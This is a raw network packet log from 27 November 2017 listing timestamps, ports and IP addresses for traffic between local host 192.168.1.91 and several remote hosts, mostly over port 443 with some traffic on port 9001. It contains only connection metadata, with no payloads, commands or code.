Nov 27, 2017 12:34:53.907211065 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.907247066 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.915668964 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.915698051 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.916229963 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.916265965 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.919995070 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.920017958 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.920157909 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.920203924 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.927517891 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.927546024 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.927730083 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.927778959 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.933303118 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.933322906 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.933525085 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.933571100 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.935477972 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.935491085 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.935678959 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.935722113 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.939578056 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:53.939623117 CET	443	49171	154.35.175.225	192.168.1.91
Nov 27, 2017 12:34:53.941359043 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.941375971 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.941500902 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.941553116 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.945951939 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.945971966 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.946038008 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.946068048 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.946407080 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.946505070 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.946527958 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.947794914 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.947808981 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.947916985 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:53.947949886 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:53.948040962 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.948060036 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.950685978 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.950705051 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.951679945 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.951706886 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.951894045 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.951910973 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.955710888 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.955737114 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.956218004 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.956238031 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.956316948 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.956341028 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.957010984 CET	49171	443	192.168.1.91	154.35.175.225
Nov 27, 2017 12:34:53.957040071 CET	443	49171	154.35.175.225	192.168.1.91
Nov 27, 2017 12:34:53.957968950 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.957988024 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.957995892 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.958074093 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.958101034 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.962277889 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.962297916 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.962399006 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.962424994 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.964400053 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.964418888 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.964426041 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.964507103 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.964531898 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.967794895 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.967812061 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.967912912 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.967938900 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.979116917 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.979146004 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.979257107 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.979293108 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.984837055 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.984862089 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.984950066 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.984972000 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.985011101 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.985784054 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.989480019 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.989501953 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.989510059 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.989572048 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.999916077 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.999938011 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.999944925 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.000061035 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.046493053 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.046518087 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.046526909 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.046631098 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.067472935 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.067507029 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.067527056 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.067831039 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.099236012 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.106606960 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.106640100 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.111932993 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.111988068 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.130306959 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.130340099 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.135971069 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.136023998 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.158427954 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.158463955 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.158744097 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.158813000 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.165601969 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.165626049 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.165761948 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.165796041 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.174195051 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.174227953 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.174396992 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.174444914 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.185206890 CET	49172	9001	192.168.1.91	31.171.155.108
Nov 27, 2017 12:34:54.185271025 CET	9001	49172	31.171.155.108	192.168.1.91
Nov 27, 2017 12:34:54.185745955 CET	49172	9001	192.168.1.91	31.171.155.108
Nov 27, 2017 12:34:54.186168909 CET	49172	9001	192.168.1.91	31.171.155.108
Nov 27, 2017 12:34:54.186188936 CET	9001	49172	31.171.155.108	192.168.1.91
Nov 27, 2017 12:34:54.197890043 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.197932959 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.197948933 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.198265076 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.198335886 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.204246044 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.204601049 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.204637051 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.204802990 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.204829931 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.205144882 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.205168962 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.211812019 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.211843967 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.211941957 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.211994886 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.227322102 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.227344036 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.227354050 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.227499008 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.227523088 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.237478018 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.237500906 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.237816095 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.237833977 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.244472980 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.244498014 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.248068094 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.248116016 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.252545118 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.252571106 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.252674103 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.252707958 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.253261089 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.253273964 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.254791021 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.254813910 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.260376930 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.260400057 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.260487080 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.260512114 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.272870064 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.272886992 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.272895098 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.272989988 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.273010969 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.276110888 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.276129961 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.276201010 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.276223898 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.283586025 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.283633947 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.283646107 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.284063101 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.284085035 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.290668011 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.290687084 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.290802002 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.290827990 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.320528984 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.320559978 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.320566893 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.320575953 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.320583105 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.320651054 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.320662022 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.320667982 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.320722103 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.320919991 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.320955038 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.321975946 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.321989059 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.323738098 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.323767900 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.324672937 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.324690104 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.324774981 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.324798107 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.327538013 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.327557087 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.327729940 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.327756882 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.333479881 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.333508015 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.333602905 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.333628893 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.342009068 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.342056990 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.342072964 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.342312098 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.342339039 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.346646070 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.346684933 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.346815109 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.346836090 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.348947048 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.349085093 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.349098921 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.351227045 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.351255894 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.351344109 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.351367950 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.351521015 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.351536989 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.353166103 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.353187084 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.358197927 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.358226061 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.358289003 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.358309984 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.360691071 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.360719919 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.360806942 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.360826969 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.362823009 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.363420010 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.363442898 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.363446951 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.363523960 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.368011951 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.368036985 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.368041039 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.368104935 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.368197918 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.371464968 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.371479034 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.371489048 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.371701956 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.371718884 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.375014067 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.375036001 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.375145912 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.375163078 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.378513098 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.378539085 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.378746986 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.378763914 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.380543947 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.380554914 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.380621910 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.380642891 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.389622927 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.389647961 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.389781952 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.389799118 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.401459932 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.401472092 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.401480913 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.403826952 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.403846025 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.405649900 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.405672073 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.405829906 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.405843973 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.410450935 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.410480022 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.410780907 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.410803080 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.412863016 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.412874937 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.413022995 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.413043976 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.419204950 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.419244051 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.419254065 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.419737101 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.419759035 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.419877052 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.419891119 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.421082973 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.421098948 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.424735069 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.424748898 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.424887896 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.424902916 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.427345991 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.427371979 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.427700043 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.427715063 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.434533119 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.434587002 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:54.434730053 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.434745073 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.434855938 CET	443	49171	154.35.175.225	192.168.1.91
Nov 27, 2017 12:34:54.436984062 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.437009096 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.439918995 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.445920944 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.445943117 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.445956945 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.445965052 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.445972919 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.445981026 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.445988894 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.446054935 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.451879025 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.451906919 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.451917887 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.451925993 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.451934099 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.451940060 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.451945066 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.451951027 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.451960087 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.451966047 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.451972961 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.452140093 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.452603102 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.454938889 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.454967022 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.455074072 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.455094099 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.460114002 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.460120916 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.460124969 CET	443	49167	192.30.253.121	192.168.1.91
